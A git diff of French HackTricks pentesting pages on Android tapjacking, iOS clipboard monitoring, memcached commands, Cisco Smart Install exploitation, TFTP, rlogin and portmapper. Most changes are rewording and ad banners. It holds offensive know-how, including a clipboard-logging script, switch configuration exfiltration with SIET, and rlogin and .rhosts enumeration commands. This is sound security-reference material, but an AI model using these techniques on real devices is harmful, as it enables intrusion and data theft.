<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,6 +14,11 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
**Tapjacking** est une attaque où une **application malveillante** est lancée et **se positionne au-dessus d'une application victime**. Une fois qu'elle obscurcit visiblement l'application victime, son interface utilisateur est conçue de manière à tromper l'utilisateur pour interagir avec elle, tout en transmettant l'interaction à l'application victime.\
|
||||
|
@ -55,7 +60,7 @@ Suivez les instructions du **README pour l'utiliser**.
|
|||
|
||||
### FloatingWindowApp
|
||||
|
||||
Un projet d'exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour se superposer à d'autres activités afin d'effectuer une attaque de clickjacking, peut être trouvé sur [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk).
|
||||
Un projet d'exemple implémentant **FloatingWindowApp**, qui peut être utilisé pour placer au-dessus d'autres activités afin d'effectuer une attaque de clickjacking, peut être trouvé sur [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un peu ancien, bonne chance pour construire l'apk).
|
||||
|
||||
### Qark
|
||||
|
||||
|
@ -63,10 +68,28 @@ Un projet d'exemple implémentant **FloatingWindowApp**, qui peut être utilisé
|
|||
Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les vulnérabilités potentielles de **Tapjacking**.
|
||||
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester d'éventuelles vulnérabilités de **Tapjacking**.
|
||||
|
||||
La mitigation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence du développeur Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Parfois, il est essentiel qu'une application puisse vérifier qu'une action est effectuée avec la pleine connaissance et le consentement de l'utilisateur, comme accorder une demande de permission, effectuer un achat ou cliquer sur une publicité. Malheureusement, une application malveillante pourrait essayer de tromper l'utilisateur en lui faisant effectuer ces actions, sans le savoir, en cachant le but prévu de la vue. En guise de remède, le framework offre un mécanisme de filtrage tactile qui peut être utilisé pour améliorer la sécurité des vues qui fournissent un accès à des fonctionnalités sensibles.
|
||||
>
|
||||
> Pour activer le filtrage tactile, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework rejettera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. En conséquence, la vue ne recevra pas de touches chaque fois qu'un toast, une boîte de dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue.
|
||||
> Pour activer le filtrage tactile, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework rejettera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. Par conséquent, la vue ne recevra pas de touches chaque fois qu'un toast, une boîte de dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,15 +12,20 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
Le partage de données au sein et entre les applications sur les appareils iOS est facilité par le mécanisme [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), qui est divisé en deux catégories principales :
|
||||
|
||||
- **Presse-papiers général à l'échelle du système** : Il est utilisé pour partager des données avec **n'importe quelle application** et est conçu pour persister les données à travers les redémarrages de l'appareil et les désinstallations d'applications, une fonctionnalité disponible depuis iOS 10.
|
||||
- **Presse-papiers personnalisés / nommés** : Ceux-ci sont spécifiquement pour le partage de données **au sein d'une application ou avec une autre application** partageant le même ID d'équipe, et ne sont pas conçus pour persister au-delà de la durée de vie du processus d'application qui les crée, suite aux changements introduits dans iOS 10.
|
||||
|
||||
Les **considérations de sécurité** jouent un rôle significatif lors de l'utilisation des presse-papiers. Par exemple :
|
||||
- Il n'existe aucun mécanisme permettant aux utilisateurs de gérer les autorisations d'application pour accéder au **presse-papiers**.
|
||||
Les **considérations de sécurité** jouent un rôle important lors de l'utilisation des presse-papiers. Par exemple :
|
||||
- Il n'y a pas de mécanisme pour que les utilisateurs gèrent les autorisations d'application pour accéder au **presse-papiers**.
|
||||
- Pour atténuer le risque de surveillance non autorisée en arrière-plan du presse-papiers, l'accès est restreint lorsque l'application est à l'avant-plan (depuis iOS 9).
|
||||
- L'utilisation de presse-papiers nommés persistants est déconseillée au profit des conteneurs partagés en raison de préoccupations de confidentialité.
|
||||
- L'utilisation de presse-papiers nommés persistants est déconseillée au profit des conteneurs partagés en raison de préoccupations en matière de confidentialité.
|
||||
- La fonctionnalité **Presse-papiers universel** introduite avec iOS 10, permettant le partage de contenu entre les appareils via le presse-papiers général, peut être gérée par les développeurs pour définir l'expiration des données et désactiver le transfert automatique de contenu.
|
||||
|
||||
Il est crucial de s'assurer que les **informations sensibles ne sont pas stockées involontairement** sur le presse-papiers général. De plus, les applications doivent être conçues pour empêcher l'utilisation abusive des données du presse-papiers général pour des actions non intentionnelles, et les développeurs sont encouragés à mettre en place des mesures pour empêcher la copie d'informations sensibles dans le presse-papiers.
|
||||
|
@ -34,18 +39,18 @@ Pour l'analyse statique, recherchez le code source ou binaire pour :
|
|||
### Analyse dynamique
|
||||
|
||||
L'analyse dynamique implique l'accrochage ou le traçage de méthodes spécifiques :
|
||||
- Surveillez `generalPasteboard` pour une utilisation à l'échelle du système.
|
||||
- Tracez `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour des implémentations personnalisées.
|
||||
- Observez les appels de méthode `setPersistent:` obsolètes pour vérifier les paramètres de persistance.
|
||||
- Surveillez `generalPasteboard` pour l'utilisation à l'échelle du système.
|
||||
- Tracez `pasteboardWithName:create:` et `pasteboardWithUniqueName` pour les implémentations personnalisées.
|
||||
- Observez les appels de méthode obsolètes `setPersistent:` pour vérifier les paramètres de persistance.
|
||||
|
||||
Les détails clés à surveiller comprennent :
|
||||
- Les **noms des presse-papiers** et **contenus** (par exemple, vérification des chaînes, des URL, des images).
|
||||
- Le **nombre d'éléments** et les **types de données** présents, en utilisant des vérifications de types de données standard et personnalisées.
|
||||
- Les options d'expiration et de local uniquement en inspectant la méthode `setItems:options:`.
|
||||
- **Noms** et **contenus** du presse-papiers (par exemple, vérification des chaînes, des URL, des images).
|
||||
- **Nombre d'éléments** et **types de données** présents, en exploitant les vérifications de types de données standard et personnalisées.
|
||||
- Options d'**expiration et de local uniquement** en inspectant la méthode `setItems:options:`.
|
||||
|
||||
Un exemple d'utilisation d'outil de surveillance est le **moniteur de presse-papiers d'objection**, qui interroge le presse-papiers général toutes les 5 secondes pour les changements et affiche les nouvelles données.
|
||||
|
||||
Voici un exemple de script JavaScript simple, inspiré de l'approche d'objection, pour lire et enregistrer les changements du presse-papiers toutes les 5 secondes :
|
||||
Voici un exemple de script JavaScript simple, inspiré de l'approche d'objection, pour lire et journaliser les changements du presse-papiers toutes les 5 secondes:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -75,6 +80,11 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -14,6 +14,11 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Feuille de triche des commandes
|
||||
|
||||
**De** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
@ -30,26 +35,26 @@ Malheureusement, la description de la syntaxe n'est pas vraiment claire et une s
|
|||
| replace | Remplace une clé existante | `replace key 0 60 5` |
|
||||
| append | Ajoute des données à une clé existante | `append key 0 60 15` |
|
||||
| prepend | Ajoute des données au début d'une clé existante | `prepend key 0 60 15` |
|
||||
| incr | Incrémente la valeur numérique de la clé donnée | `incr mykey 2` |
|
||||
| decr | Décrémente la valeur numérique de la clé donnée | `decr mykey 5` |
|
||||
| incr | Incrémente la valeur numérique de la clé donnée par un nombre donné | `incr mykey 2` |
|
||||
| decr | Décrémente la valeur numérique de la clé donnée par un nombre donné | `decr mykey 5` |
|
||||
| delete | Supprime une clé existante | `delete mykey` |
|
||||
| flush\_all | Invalide immédiatement tous les éléments | `flush_all` |
|
||||
| flush\_all | Invalide immédiatement tous les éléments | `flush_all` |
|
||||
| flush\_all | Invalide tous les éléments dans n secondes | `flush_all 900` |
|
||||
| stats | Affiche des statistiques générales | `stats` |
|
||||
| | Affiche des statistiques sur la mémoire | `stats slabs` |
|
||||
| | Affiche des statistiques de mémoire | `stats slabs` |
|
||||
| | Affiche des statistiques d'allocation de niveau supérieur | `stats malloc` |
|
||||
| | Affiche des informations sur les éléments | `stats items` |
|
||||
| | Affiche des informations sur les éléments | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | Réinitialise les compteurs de statistiques | `stats reset` |
|
||||
| | Réinitialise les compteurs de statistiques | `stats reset` |
|
||||
| lru\_crawler metadump | Dump (la plupart) des métadonnées pour (tous) les éléments dans le cache | `lru_crawler metadump all` |
|
||||
| version | Affiche la version du serveur | `version` |
|
||||
| verbosity | Augmente le niveau de journalisation | `verbosity` |
|
||||
| quit | Termine la session | `quit` |
|
||||
| quit | Met fin à la session | `quit` |
|
||||
|
||||
#### Statistiques du trafic <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
Vous pouvez interroger les statistiques de trafic actuelles en utilisant la commande
|
||||
Vous pouvez interroger les statistiques actuelles du trafic en utilisant la commande
|
||||
```
|
||||
stats
|
||||
```
|
||||
|
@ -81,7 +86,7 @@ STAT limit_maxbytes 52428800
|
|||
STAT threads 1
|
||||
END
|
||||
```
|
||||
#### Statistiques de mémoire <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
#### Statistiques de mémoire <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
Vous pouvez interroger les statistiques de mémoire actuelles en utilisant
|
||||
```
|
||||
|
@ -165,3 +170,22 @@ STAT items:2:age 1405
|
|||
END
|
||||
```
|
||||
Cela aide au moins à voir si des clés sont utilisées. Pour extraire les noms de clés à partir d'un script PHP qui accède déjà à memcache, vous pouvez utiliser le code PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,10 +8,15 @@
|
|||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Cisco Smart Install** est un service conçu par Cisco pour automatiser la configuration initiale et le chargement d'une image de système d'exploitation pour du nouveau matériel Cisco. **Par défaut, Cisco Smart Install est actif sur le matériel Cisco et utilise le protocole de couche de transport, TCP, avec le numéro de port 4786.**
|
||||
|
@ -23,7 +28,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## **Outil d'exploitation de Smart Install**
|
||||
|
||||
**En 2018, une vulnérabilité critique, CVE-2018-0171, a été découverte dans ce protocole. Le niveau de menace est de 9.8 sur l'échelle CVSS.**
|
||||
**En 2018, une vulnérabilité critique, CVE-2018-0171, a été découverte dans ce protocole. Le niveau de menace est de 9,8 sur l'échelle CVSS.**
|
||||
|
||||
**Un paquet spécialement conçu envoyé au port TCP/4786, où Cisco Smart Install est actif, déclenche un dépassement de tampon, permettant à un attaquant de:**
|
||||
|
||||
|
@ -33,7 +38,7 @@ PORT STATE SERVICE
|
|||
|
||||
**Le** [**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** a été développé pour exploiter cette vulnérabilité, il vous permet d'abuser de Cisco Smart Install. Dans cet article, je vous montrerai comment vous pouvez lire un fichier de configuration matériel réseau légitime. La configuration de l'exfiltration peut être précieuse pour un testeur d'intrusion car il apprendra les caractéristiques uniques du réseau. Et cela facilitera la vie et permettra de trouver de nouveaux vecteurs pour une attaque.
|
||||
|
||||
**Le périphérique cible sera un commutateur Cisco Catalyst 2960 "live". Les images virtuelles n'ont pas Cisco Smart Install, donc vous ne pouvez vous entraîner que sur le matériel réel.**
|
||||
**Le périphérique cible sera un commutateur Cisco Catalyst 2960 "en direct". Les images virtuelles n'ont pas Cisco Smart Install, donc vous ne pouvez vous entraîner que sur le matériel réel.**
|
||||
|
||||
L'adresse du commutateur cible est **10.10.100.10 et CSI est actif.** Chargez SIET et lancez l'attaque. **L'argument -g** signifie l'exfiltration de la configuration du périphérique, **l'argument -i** vous permet de définir l'adresse IP de la cible vulnérable.
|
||||
```
|
||||
|
@ -45,14 +50,19 @@ La configuration du commutateur **10.10.100.10** sera dans le dossier **tftp/**
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1113).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,10 +12,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet les transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
Le **Protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le port **UDP 69** qui permet le transfert de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
|
||||
**À FAIRE** : Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port avec ce nom). Si vous avez plus d'informations à ce sujet, faites-le nous savoir par exemple dans le [**groupe Telegram HackTricks**](https://t.me/peass) (ou dans un problème GitHub dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
|
@ -48,16 +52,21 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
* `port:69`
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,6 +14,11 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
Dans le passé, **rlogin** était largement utilisé pour les tâches d'administration à distance. Cependant, en raison de préoccupations concernant sa sécurité, il a largement été remplacé par **slogin** et **ssh**. Ces nouvelles méthodes offrent une sécurité renforcée pour les connexions à distance.
|
||||
|
@ -38,9 +43,14 @@ rlogin <IP> -l <username>
|
|||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
|
|
|
@ -10,13 +10,18 @@ Autres façons de soutenir HackTricks :
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Portmapper** est un service utilisé pour mapper les ports de services réseau aux numéros de programme **RPC** (Remote Procedure Call). Il agit comme un composant critique dans les **systèmes basés sur Unix**, facilitant l'échange d'informations entre ces systèmes. Le **port** associé à **Portmapper** est souvent scanné par les attaquants car il peut révéler des informations précieuses. Ces informations incluent le type de **système d'exploitation Unix (OS)** en cours d'exécution et des détails sur les services disponibles sur le système. De plus, **Portmapper** est couramment utilisé en conjonction avec **NFS (Network File System)**, **NIS (Network Information Service)** et d'autres **services basés sur RPC** pour gérer efficacement les services réseau.
|
||||
**Portmapper** est un service utilisé pour mapper les ports de services réseau aux numéros de programme **RPC** (Remote Procedure Call). Il agit comme un composant critique dans les **systèmes basés sur Unix**, facilitant l'échange d'informations entre ces systèmes. Le **port** associé à **Portmapper** est fréquemment scanné par les attaquants car il peut révéler des informations précieuses. Ces informations incluent le type de **système d'exploitation Unix (OS)** en cours d'exécution et des détails sur les services disponibles sur le système. De plus, **Portmapper** est couramment utilisé en conjonction avec **NFS (Network File System)**, **NIS (Network Information Service)** et d'autres **services basés sur RPC** pour gérer efficacement les services réseau.
|
||||
|
||||
**Port par défaut :** 111/TCP/UDP, 32771 dans Oracle Solaris
|
||||
```
|
||||
|
@ -28,25 +33,29 @@ PORT STATE SERVICE
|
|||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
Parfois, cela ne vous donne aucune information, dans d'autres cas, vous obtiendrez quelque chose comme ceci :
|
||||
|
||||
![](<../.gitbook/assets/image (550).png>)
|
||||
|
||||
### Shodan
|
||||
|
||||
* `port:111 portmap`
|
||||
|
||||
## RPCBind + NFS
|
||||
|
||||
Si vous trouvez le service NFS, vous pourrez probablement lister et télécharger (et peut-être téléverser) des fichiers :
|
||||
